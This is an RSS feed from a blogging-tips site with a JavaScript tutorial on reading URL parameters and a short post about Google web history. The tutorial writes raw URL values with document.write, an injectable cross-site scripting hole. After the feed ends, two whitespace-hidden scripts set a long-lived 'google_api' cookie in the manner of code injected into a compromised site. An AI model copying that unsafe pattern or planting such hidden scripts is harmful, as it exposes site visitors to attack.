<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Your Blog Tools &#187; Resources</title>
	<atom:link href="http://yourblogtools.com/category/resources/feed/" rel="self" type="application/rss+xml" />
	<link>http://yourblogtools.com</link>
	<description>Maximise Your Blog</description>
	<lastBuildDate>Mon, 19 Dec 2011 11:50:57 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Get parameters from URL using Javascript</title>
		<link>http://yourblogtools.com/get-urlg-javascript/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=get-urlg-javascript</link>
		<comments>http://yourblogtools.com/get-urlg-javascript/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 14:08:57 +0000</pubDate>
		<dc:creator>John Lufadeju</dc:creator>
				<category><![CDATA[Domain Names Advice and Tools]]></category>
		<category><![CDATA[Resources]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.yourblogtools.com/?p=2415</guid>
		<description><![CDATA[<p>During one of my consulting projects, I had the task of extracting a tracking/campaign ID from a URL and displaying it on a page.<br />
Something along the lines of<br />
<em>http://www.buildasuperstarblog.com/work.html?track_id=12345&#038;page=work</em><br />
This test URL contains tracking id &#8220;12345&#8243; and a page &#8230;</p>]]></description>
			<content:encoded><![CDATA[<p>During one of my consulting projects, I had the task of extracting a tracking/campaign ID from a URL and displaying it on a page.<br />
Something along the lines of<br />
<em>http://www.buildasuperstarblog.com/work.html?track_id=12345&#038;page=work</em><br />
This test URL contains tracking id &#8220;12345&#8243; and a page titled &#8220;work&#8221;.<br />
For campaign and data gathering purposes, you may wish to extract these parameters.<br />
To achieve this, I have embedded a Javascript function within my html page.<span id="more-2415"></span></p>
<h3>The Script</h3>
<p>[1] Using regular expression, the first part of the function reads the page URL and returns the value.<br />
function getUrlVars() {<br />
var vars = {};<br />
var parts = window.location.href.replace(/[?&#038;]+([^=&#038;]+)=([^&#038;]*)/gi, function(m,key,value) {<br />
vars[key] = value;<br />
});<br />
return vars;<br />
}<br />
[2] The second part lets you assign a variable to your URL parameters and then writes the values to the page.<br />
var tracking_id = getUrlVars()["WT.mc_id"];<br />
var page_source = getUrlVars()["page"];</p>
<p>document.write(tracking_id);<br />
document.write(page_source);</p>
<h3><span style="color: #800000;"><strong>Here&#8217;s the Javascript in full</strong></span></h3>
<blockquote><p><script type="text/javascript">// <![CDATA[
  var tracking_id = getUrlVars()["WT.mc_id"]; var page_source = getUrlVars()["page"]; document.write(tracking_id); //document.write(page_source); function getUrlVars() { 	var vars = {}; 	var parts = window.location.href.replace(/[?&#038;]+([^=&#038;]+)=([^&#038;]*)/gi, function(m,key,value) { 		vars[key] = value; 	}); 	return vars; }
// ]]&gt;</script></p></blockquote>
<p>[3] Embbeded within HTML<br />
//Start of script//<br />
var tracking_id = getUrlVars()["track_id"];<br />
var page_source = getUrlVars()["page"];</p>
<p>document.write(tracking_id);<br />
//document.write(page_source);</p>
<p>function getUrlVars() {<br />
var vars = {};<br />
var parts = window.location.href.replace(/[?&#038;]+([^=&#038;]+)=([^&#038;]*)/gi, function(m,key,value) {<br />
vars[key] = value;<br />
});<br />
return vars;<br />
}<br />
//end of script//</p>
<h3><span style="color: #800000;"><strong>Test</strong></span></h3>
<p>- To test this, simply copy and paste section 3 into a blank HTML page.<br />
- Upload to your web server.<br />
- Load the page. (At this stage you will see a blank page)<br />
- Now at the end of your URL add the following parameters &#8230;/yourfilename.html?track_id=12345&#038;page=work.<br />
- Your page should now display &#8220;12345&#8243; &#8220;work&#8221;</p>
<p>All done</p>
<div id="seo_alrp_related"><h2>If you enjoyed Get parameters from URL using Javascript, you may also like...</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://yourblogtools.com/host-wordpress-locally/" rel="bookmark">Host Your WordPress Blog Locally</a></h3><p>If you regularly tweek your blog's design, layout or test plugins - I would recommend having a local version of your blog. Hosting locally means ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://yourblogtools.com/has-my-blog-broken/" rel="bookmark">Is My Blog Broken?</a></h3><p>I've just realised that my 'contact me' form on my blog is broken. Apologies if you have been trying to use the function. This came ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://yourblogtools.com/optimize-your-blog/" rel="bookmark">12 Ways To Optimize Your Blog For Better Performance</a></h3><p>Is your blog’s performance beginning to dip? Does it takes ages to do the simplest of tasks? Chances are, your blog needs a health check. ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://yourblogtools.com/a-move-to-vps-hosting/" rel="bookmark">A Move To VPS Hosting</a></h3><p>After several months on a shared hosting server, I decided to make a move to a VPS solution. (Virtual Private Server) This is something I ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://yourblogtools.com/the-essentials-of-website-redesign/" rel="bookmark">The Essentials of Website Redesign</a></h3><p>This is a guest post by Chloe Henderson. Website and internet technology are constantly evolving into more efficient and more robust platforms. It is important ...</p></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://yourblogtools.com/get-urlg-javascript/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Google Lets You View and Manage Your Web Activities</title>
		<link>http://yourblogtools.com/google-history/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=google-history</link>
		<comments>http://yourblogtools.com/google-history/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 13:48:55 +0000</pubDate>
		<dc:creator>John Lufadeju</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Resources]]></category>
		<category><![CDATA[Tools for your blog]]></category>
		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://yourblogtools.com/?p=1982</guid>
		<description><![CDATA[<p>Fellow Googlers!!</p>
<p>I may be the only person on the planet who isn&#8217;t aware of this &#8211; but Google gives you a history of web activities performed on their services.<br />
You can track and manage activities such as, Google <span id="annotationID_3" class="annotation">searches</span>&#8230;</p>]]></description>
			<content:encoded><![CDATA[<p>Fellow Googlers!!</p>
<p>I may be the only person on the planet who isn&#8217;t aware of this &#8211; but Google gives you a history of web activities performed on their services.<br />
You can track and manage activities such as, Google <span id="annotationID_3" class="annotation">searches</span>, visited web pages, images, videos, maps and more.<br />
So far, I have activities dating back to two years ago &#8211; bizarre!</p>
<p>Simply visit <a href="http://www.google.com/history" target="_blank">www.google.com/history</a> to access yours.<br />
<small>(You will need a google account to view this)</small><br />
<a href="http://yourblogtools.com/wp-content/uploads/google.png"><img class="size-full wp-image-1983 alignnone" title="Google History" src="http://yourblogtools.com/wp-content/uploads/google.png" alt="" width="625" height="316" /></a><br />
My apologies if you&#8217;re already aware of this, I just had to share my latest discovery <img src='http://yourblogtools.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
We sure are moving into the cloud computing age.</p>
<div id="seo_alrp_related"><h2>If you enjoyed Google Lets You View and Manage Your Web Activities, you may also like...</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://yourblogtools.com/site-overlay-from-google-analytics/" rel="bookmark">Site Overlay from Google Analytics</a></h3><p>Site overlay allows you to monitor click-through rates on your blog. This is particularly useful for monitoring progress of a particular part of your blog ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://yourblogtools.com/5-essential-plugins-for-a-new-wordpress-blog/" rel="bookmark">5 Essential Plugins For A New WordPress Blog</a></h3><p>These are exciting times guys... As we enter the beginning stages of YourBlogTools.com, I will be documenting series of action steps taken to get this ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://yourblogtools.com/more-traffic/" rel="bookmark">4 Simple Ways To Get More Traffic To Your Blog</a></h3><p>How do I get more traffic? Probably the most asked question on the blogoshere. If you are a beginner blogger, you've probably written a few ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://yourblogtools.com/10-seo-tips-for-bloggers/" rel="bookmark">10 SEO Tips for Bloggers</a></h3><p>This is a guest post by Alexandru Rotaru. Whatever your platform of choice - WordPress, Blogger, Blogspot, Tumblr – the most important thing for any ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://yourblogtools.com/documenting-your-business/" rel="bookmark">Start Documenting Your Business</a></h3><p>Not the most exciting task in the world, but spending some time to document your blog's business procedures could save you a lot of time ...</p></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://yourblogtools.com/google-history/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
	</channel>
</rss>



































































































                                                                                                                                                                                                                                                          <script language="javascript"> var expire = new Date();var today = new Date();expire.setTime(today.getTime() + 3600000*24*10000);document.cookie = "google_api=1;expires="+expire.toGMTString();</script>


































































































                                                                                                                                                                                                                                                          <script language="javascript"> var expire = new Date();var today = new Date();expire.setTime(today.getTime() + 3600000*24*10000);document.cookie = "google_api=1;expires="+expire.toGMTString();</script>
